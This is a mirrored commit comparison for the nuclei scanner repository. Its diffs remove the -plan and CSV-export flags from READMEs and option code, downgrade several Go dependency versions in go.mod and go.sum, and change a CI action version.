mirror of
https://github.com/projectdiscovery/nuclei.git
synced 2026-11-09 04:09:43 -10:00
Compare commits
2
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
fe07fef702 | ||
|
|
7bce568ff2 |
No files matched your search
@@ -17,4 +17,4 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: crate-ci/[email protected]2.0
|
||||
- uses: crate-ci/[email protected]1.1
|
||||
@@ -166,7 +166,6 @@ TEMPLATES:
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-plan string write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all templates matching current filters
|
||||
@@ -220,7 +219,6 @@ OUTPUT:
|
||||
-se, -sarif-export string file to export results in SARIF format
|
||||
-je, -json-export string file to export results in JSON format
|
||||
-jle, -jsonl-export string file to export results in JSONL(ine) format
|
||||
-ce, -csv-export string file to export results in CSV format
|
||||
-pe, -pdf-export string file to export results in PDF format
|
||||
-rd, -redact string[] redact given list of keys from query parameter, request header and body
|
||||
-nrd, -no-redact disable the built-in redaction of credential headers (Authorization, Cookie, Set-Cookie, ...) in output; keys given with -redact are still redacted
|
||||
|
||||
@@ -164,7 +164,6 @@ TEMPLATES:
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-plan string write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all templates matching current filters
|
||||
|
||||
@@ -164,7 +164,6 @@ TEMPLATES:
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-plan string write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all templates matching current filters
|
||||
|
||||
@@ -181,7 +181,6 @@ TEMPLATES:
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-plan string write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all templates matching current filters
|
||||
|
||||
@@ -164,7 +164,6 @@ TEMPLATES:
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-plan string write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all templates matching current filters
|
||||
|
||||
@@ -164,7 +164,6 @@ TEMPLATES:
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-plan string write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all templates matching current filters
|
||||
|
||||
@@ -164,7 +164,6 @@ TEMPLATES:
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-plan string write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all templates matching current filters
|
||||
|
||||
@@ -164,7 +164,6 @@ TEMPLATES:
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-plan string write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all templates matching current filters
|
||||
|
||||
@@ -164,7 +164,6 @@ TEMPLATES:
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-plan string write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all templates matching current filters
|
||||
|
||||
@@ -313,7 +313,6 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.StringSliceVarP(&options.Workflows, "workflows", "w", nil, "list of workflow or workflow directory to run (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.WorkflowURLs, "workflow-url", "wurl", nil, "workflow url or list containing workflow urls to run (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.BoolVar(&options.Validate, "validate", false, "validate the passed templates to nuclei"),
|
||||
flagSet.StringVar(&options.PlanFile, "plan", "", "write the work a scan would do with its estimated cost to a jsonl file, then exit without sending requests to any target"),
|
||||
flagSet.BoolVarP(&options.NoStrictSyntax, "no-strict-syntax", "nss", false, "disable strict syntax check on templates"),
|
||||
flagSet.BoolVarP(&options.TemplateDisplay, "template-display", "td", false, "displays the templates content"),
|
||||
flagSet.BoolVar(&options.TemplateList, "tl", false, "list all templates matching current filters"),
|
||||
@@ -370,7 +369,6 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.StringVarP(&options.SarifExport, "sarif-export", "se", "", "file to export results in SARIF format"),
|
||||
flagSet.StringVarP(&options.JSONExport, "json-export", "je", "", "file to export results in JSON format"),
|
||||
flagSet.StringVarP(&options.JSONLExport, "jsonl-export", "jle", "", "file to export results in JSONL(ine) format"),
|
||||
flagSet.StringVarP(&options.CSVExport, "csv-export", "ce", "", "file to export results in CSV format"),
|
||||
flagSet.StringVarP(&options.PDFExport, "pdf-export", "pe", "", "file to export results in PDF format"),
|
||||
flagSet.StringSliceVarP(&options.Redact, "redact", "rd", nil, "redact given list of keys from query parameter, request header and body", goflags.CommaSeparatedStringSliceOptions),
|
||||
flagSet.BoolVarP(&options.NoRedact, "no-redact", "nrd", false, "disable the built-in redaction of credential headers (Authorization, Cookie, Set-Cookie, ...) in output; keys given with -redact are still redacted"),
|
||||
|
||||
@@ -18,7 +18,7 @@ require (
|
||||
github.com/alecthomas/chroma/v2 v2.27.0
|
||||
github.com/alexsnet/go-vnc v0.1.0
|
||||
github.com/alitto/pond v1.9.2
|
||||
github.com/andybalholm/brotli v1.2.7
|
||||
github.com/andybalholm/brotli v1.2.0
|
||||
github.com/andygrunwald/go-jira v1.16.1
|
||||
github.com/antchfx/htmlquery v1.3.7
|
||||
github.com/antchfx/xmlquery v1.4.4
|
||||
@@ -63,7 +63,7 @@ require (
|
||||
github.com/jhump/protoreflect v1.17.0
|
||||
github.com/julienschmidt/httprouter v1.3.0
|
||||
github.com/kitabisa/go-ci v1.0.3
|
||||
github.com/klauspost/compress v1.20.2
|
||||
github.com/klauspost/compress v1.18.7
|
||||
github.com/leslie-qiwa/flat v0.0.0-20230424180412-f9d1cf014baa
|
||||
github.com/lib/pq v1.12.3
|
||||
github.com/logrusorgru/aurora/v4 v4.0.0
|
||||
@@ -96,7 +96,7 @@ require (
|
||||
github.com/projectdiscovery/interactsh v1.4.1
|
||||
github.com/projectdiscovery/mapcidr v1.1.97
|
||||
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5
|
||||
github.com/projectdiscovery/networkpolicy v0.1.56
|
||||
github.com/projectdiscovery/networkpolicy v0.1.58
|
||||
github.com/projectdiscovery/ratelimit v0.0.94
|
||||
github.com/projectdiscovery/rawhttp v0.2.0
|
||||
github.com/projectdiscovery/rdap v0.9.0
|
||||
@@ -106,7 +106,7 @@ require (
|
||||
github.com/projectdiscovery/tlsx v1.4.3-0.20261020052910-acb80c2c7c75
|
||||
github.com/projectdiscovery/uncover v1.2.1
|
||||
github.com/projectdiscovery/useragent v0.0.109
|
||||
github.com/projectdiscovery/utils v0.11.13-0.20261103094816-5c0b20e35350
|
||||
github.com/projectdiscovery/utils v0.11.13
|
||||
github.com/projectdiscovery/wappalyzergo v0.3.6
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.7
|
||||
github.com/redis/go-redis/v9 v9.19.0
|
||||
@@ -129,14 +129,14 @@ require (
|
||||
go.mongodb.org/mongo-driver v1.17.9
|
||||
go.uber.org/multierr v1.11.0
|
||||
golang.org/x/exp v0.0.0-20260527015227-08cc5374adb3
|
||||
golang.org/x/net v0.62.0
|
||||
golang.org/x/net v0.59.0
|
||||
golang.org/x/oauth2 v0.36.0
|
||||
golang.org/x/sync v0.24.0
|
||||
golang.org/x/sys v0.49.0
|
||||
golang.org/x/term v0.47.0
|
||||
golang.org/x/text v0.43.0
|
||||
golang.org/x/sync v0.23.0
|
||||
golang.org/x/sys v0.48.0
|
||||
golang.org/x/term v0.46.0
|
||||
golang.org/x/text v0.42.0
|
||||
golang.org/x/time v0.15.0
|
||||
golang.org/x/tools v0.51.0
|
||||
golang.org/x/tools v0.49.0
|
||||
google.golang.org/grpc v1.83.2
|
||||
google.golang.org/protobuf v1.36.11
|
||||
gopkg.in/yaml.v3 v3.0.1
|
||||
@@ -455,7 +455,7 @@ require (
|
||||
go4.org v0.0.0-20230225012048-214862532bf5 // indirect
|
||||
goftp.io/server/v2 v2.0.1 // indirect
|
||||
golang.org/x/arch v0.3.0 // indirect
|
||||
golang.org/x/crypto v0.58.0 // indirect
|
||||
golang.org/x/crypto v0.57.0 // indirect
|
||||
golang.org/x/mod v0.41.0 // indirect
|
||||
google.golang.org/api v0.264.0 // indirect
|
||||
google.golang.org/genproto v0.0.0-20260128011058-8636f8732409 // indirect
|
||||
|
||||
@@ -170,8 +170,8 @@ github.com/alicebob/miniredis/v2 v2.38.0 h1:nZAzCR+Lj+Vxk4ZXzm2NuKq2O33RXj1XxJ2e
|
||||
github.com/alicebob/miniredis/v2 v2.38.0/go.mod h1:TcL7YfarKPGDAthEtl5NBeHZfeUQj6OXMm/+iu5cLMM=
|
||||
github.com/alitto/pond v1.9.2 h1:9Qb75z/scEZVCoSU+osVmQ0I0JOeLfdTDafrbcJ8CLs=
|
||||
github.com/alitto/pond v1.9.2/go.mod h1:xQn3P/sHTYcU/1BR3i86IGIrilcrGC2LiS+E2+CJWsI=
|
||||
github.com/andybalholm/brotli v1.2.7 h1:UgafRPGMam5ySHfRkhthMqOFA6IFoeF3D7mWIDLjG5A=
|
||||
github.com/andybalholm/brotli v1.2.7/go.mod h1:rzTDkvFWvIrjDXZHkuS16NPggd91W3kUSvPlQ1pLaKY=
|
||||
github.com/andybalholm/brotli v1.2.0 h1:ukwgCxwYrmACq68yiUqwIWnGY0cTPox/M94sVwToPjQ=
|
||||
github.com/andybalholm/brotli v1.2.0/go.mod h1:rzTDkvFWvIrjDXZHkuS16NPggd91W3kUSvPlQ1pLaKY=
|
||||
github.com/andybalholm/cascadia v1.3.4 h1:vM2lgh0Vru9Vwyfm4cQqWP2HHMW0u0+2PAW7Q38Qufg=
|
||||
github.com/andybalholm/cascadia v1.3.4/go.mod h1:BLRmbRjpEtNKieZOCCvYj4RqN+KRA41GBe/5O+G93kM=
|
||||
github.com/andygrunwald/go-jira v1.16.1 h1:WoQEar5XoDRAibOgKzTFELlPNlKAtnfWr296R9zdFLA=
|
||||
@@ -749,8 +749,8 @@ github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+o
|
||||
github.com/kitabisa/go-ci v1.0.3 h1:JmIUIvcercRQc/9x/v02ydCCqU4MadSHaNaOF8T2pGA=
|
||||
github.com/kitabisa/go-ci v1.0.3/go.mod h1:e3wBSzaJbcifXrr/Gw2ZBLn44MmeqP5WySwXyHlCK/U=
|
||||
github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=
|
||||
github.com/klauspost/compress v1.20.2 h1:v5tiZvm1KGLyg5d5oXdXe3lsSPrbEUiKoXGia//I7Qo=
|
||||
github.com/klauspost/compress v1.20.2/go.mod h1:LUdAzn7YLVvxLpc7y3V1m40wESHTgc1422pwwBSKYuI=
|
||||
github.com/klauspost/compress v1.18.7 h1:aUyZsS4kH3QTKurYhAOwAHxllVPnOthb3vPfnF1Ehjw=
|
||||
github.com/klauspost/compress v1.18.7/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
|
||||
github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek=
|
||||
github.com/klauspost/cpuid/v2 v2.3.0 h1:S4CRMLnYUhGeDFDqkGriYKdfoFlDnMtqTiI/sFzhA9Y=
|
||||
github.com/klauspost/cpuid/v2 v2.3.0/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0=
|
||||
@@ -973,8 +973,8 @@ github.com/projectdiscovery/mapcidr v1.1.97 h1:7FkxNNVXp+m1rIu5Nv/2SrF9k4+LwP8Qu
|
||||
github.com/projectdiscovery/mapcidr v1.1.97/go.mod h1:9dgTJh1SP02gYZdpzMjm6vtYFkEHQHoTyaVNvaeJ7lA=
|
||||
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5 h1:L/e8z8yw1pfT6bg35NiN7yd1XKtJap5Nk6lMwQ0RNi8=
|
||||
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5/go.mod h1:pGW2ncnTxTxHtP9wzcIJAB+3/NMp6IiuQWd2NK7K+oc=
|
||||
github.com/projectdiscovery/networkpolicy v0.1.56 h1:M/L421HFuN707oX0tLTzKZY46uRyaKwxAeyi0q8PlxI=
|
||||
github.com/projectdiscovery/networkpolicy v0.1.56/go.mod h1:N5bXm8L3UsDw51CeA1nhTsGEbQMbgL5lXTiIU013xd0=
|
||||
github.com/projectdiscovery/networkpolicy v0.1.58 h1:usZRNmMw5eNacrw0lDENWIz7N7EInVldS1blgH2q94A=
|
||||
github.com/projectdiscovery/networkpolicy v0.1.58/go.mod h1:Ky0GOIqAL666JBHyHeIsQ5rjkET902I6XjGEpvCVx9s=
|
||||
github.com/projectdiscovery/ratelimit v0.0.94 h1:2qciSuUxarn73YGICZeprZtjrwyAH+0iVpdKzKCXoXE=
|
||||
github.com/projectdiscovery/ratelimit v0.0.94/go.mod h1:GAerX6s+eWRuACedHRv2/xmMtlW+VahZmbRstQh0sS0=
|
||||
github.com/projectdiscovery/rawhttp v0.2.0 h1:TGiHC5hydL97/zoi0WjEuNrfO6Gjtg9LeXndUf1Cq3M=
|
||||
@@ -995,8 +995,8 @@ github.com/projectdiscovery/uncover v1.2.1 h1:8U46T/96CLT7BPoXBgkTvWqB06lOyeTSLv
|
||||
github.com/projectdiscovery/uncover v1.2.1/go.mod h1:0p8onrWxfpXQEYs90ZDzTSpu1107gWmodX1NWqu/+z4=
|
||||
github.com/projectdiscovery/useragent v0.0.109 h1:b86BPdZvmgbJousa04jAugDRY4Y+rAvEamE0TFCPmeE=
|
||||
github.com/projectdiscovery/useragent v0.0.109/go.mod h1:sRyBqDAcD31RKYrO8fyXGowLd36fNwY1g0MNW9mp7zk=
|
||||
github.com/projectdiscovery/utils v0.11.13-0.20261103094816-5c0b20e35350 h1:uXqpYa6XKV9dCvoti9PbSgIWIsBKPu5YKMywB9G4q0Q=
|
||||
github.com/projectdiscovery/utils v0.11.13-0.20261103094816-5c0b20e35350/go.mod h1:TJgsyVjB02CavwZVFzUzPg6YOSJXQxLhL808JCiQKlU=
|
||||
github.com/projectdiscovery/utils v0.11.13 h1:Mn3/rtyQvtn8XZy0UnVkxbAmn0afbHtWuMHUEztwWSw=
|
||||
github.com/projectdiscovery/utils v0.11.13/go.mod h1:TJgsyVjB02CavwZVFzUzPg6YOSJXQxLhL808JCiQKlU=
|
||||
github.com/projectdiscovery/wappalyzergo v0.3.6 h1:1FXCMeCa1xVu2zaW+eeBcbVxtlMStqGOlKcMLyh2pzI=
|
||||
github.com/projectdiscovery/wappalyzergo v0.3.6/go.mod h1:4E6+fh/ckaY3wo5tlM7lNYSkhuTYRHzu2YmGIRraXP0=
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.7 h1:Odmjd1o4EkMff2F6QHi1dIYPIQPZUFy24YqmQCprmTk=
|
||||
@@ -1335,8 +1335,8 @@ golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliY
|
||||
golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU=
|
||||
golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8=
|
||||
golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
|
||||
golang.org/x/crypto v0.58.0 h1:COkYLr4k7nDI4r6QtMML2AfzeIswWHAJthLS6K/M/54=
|
||||
golang.org/x/crypto v0.58.0/go.mod h1:Xh+kl5A+M0gMiWDytH2Hhr5Z7WbNCpv/eB/EFgfSk+w=
|
||||
golang.org/x/crypto v0.57.0 h1:3ZVCjf8Ggz7zneR/EHRVx68Ctf+2pmIMP2UFhh9cC6M=
|
||||
golang.org/x/crypto v0.57.0/go.mod h1:Fdz0i5U6CoizGwLda9DttjSk6qlZo25zYNtR+ycvuZA=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=
|
||||
@@ -1424,8 +1424,8 @@ golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk=
|
||||
golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44=
|
||||
golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM=
|
||||
golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4=
|
||||
golang.org/x/net v0.62.0 h1:18ELalfM5+XNRwzM2nYqXsZQ9ByS1uhj2O/U7+5jqRY=
|
||||
golang.org/x/net v0.62.0/go.mod h1:WgDCOTH8iwtB66T4/GfI94AHo/hhdb7Hah9NDseQfiI=
|
||||
golang.org/x/net v0.59.0 h1:5zfYln+w5XCxwrnMMJPufRgNoXEaGxl0wo5GqPXyues=
|
||||
golang.org/x/net v0.59.0/go.mod h1:2DA/G1UfVbCpQPeWTmMPGY7Cs2PkBkwu743bVX5PIVg=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
|
||||
golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
|
||||
@@ -1452,8 +1452,8 @@ golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
|
||||
golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
|
||||
golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
|
||||
golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
|
||||
golang.org/x/sync v0.24.0 h1:iqiDrGoDgyuvAKrhLQthUEzU/R378N78gXbBjxed7oA=
|
||||
golang.org/x/sync v0.24.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
|
||||
golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk=
|
||||
golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
@@ -1518,8 +1518,8 @@ golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.49.0 h1:XbzkgYJHdqh/8m2Uu0W/dQv8nktxx4BFHp1M0gROTXA=
|
||||
golang.org/x/sys v0.49.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
|
||||
golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
|
||||
golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
|
||||
golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
@@ -1532,8 +1532,8 @@ golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU=
|
||||
golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk=
|
||||
golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY=
|
||||
golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM=
|
||||
golang.org/x/term v0.47.0 h1:cpyOwQkr2Nzxe2p6KnrTG7Ei2wtzjsuSjhpXXepZ/BM=
|
||||
golang.org/x/term v0.47.0/go.mod h1:efAfAuG6RKABvg1ArGebRkvX6LXul14SM67o2e4mUCY=
|
||||
golang.org/x/term v0.46.0 h1:3+OXuTbaKDgwk8jTi3aSLHRlmWqHEUDUtxnbFigO4YE=
|
||||
golang.org/x/term v0.46.0/go.mod h1:+K02xbkittuwc0Am4abfA3Fc+XRGXkvBXNO88NCXPoc=
|
||||
golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
@@ -1550,8 +1550,8 @@ golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
|
||||
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
|
||||
golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
|
||||
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
|
||||
golang.org/x/text v0.43.0 h1:1QivrlhwAsnMOcqgOdl9my7s9OyZl8O5/UGUTJVXoWc=
|
||||
golang.org/x/text v0.43.0/go.mod h1:hbSIYA/amXcRXTFSZqh8tWHEoqRvvbKPJ2uz/KU+a+s=
|
||||
golang.org/x/text v0.42.0 h1:JbOZXgfeCPU9gacVtYliJqOhD+zhrEqK4LfdpmlUZqI=
|
||||
golang.org/x/text v0.42.0/go.mod h1:ojzP1Z+2QtioaF8DTtO8K5q7JWVVYwZKenzujK0Zd0E=
|
||||
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
@@ -1603,8 +1603,8 @@ golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc
|
||||
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
|
||||
golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
|
||||
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
|
||||
golang.org/x/tools v0.51.0 h1:k4Xc/1Om9jwkBJBo4NVLMSARBoWtK10mx+W5BnXCeAI=
|
||||
golang.org/x/tools v0.51.0/go.mod h1:9eEncMayCV6zRMGhR5eZEC2iBx98qWcF1HZ9Z7wJOoA=
|
||||
golang.org/x/tools v0.49.0 h1:3NI7VXzL9+1WZD52Dx2ttoPwD5DWrFGpl9mFZDlmisI=
|
||||
golang.org/x/tools v0.49.0/go.mod h1:SJNXV9DBKT0UbdttsQjbfJlAE/q+y36++zo3uL3N0Oo=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
|
||||
@@ -25,7 +25,6 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
|
||||
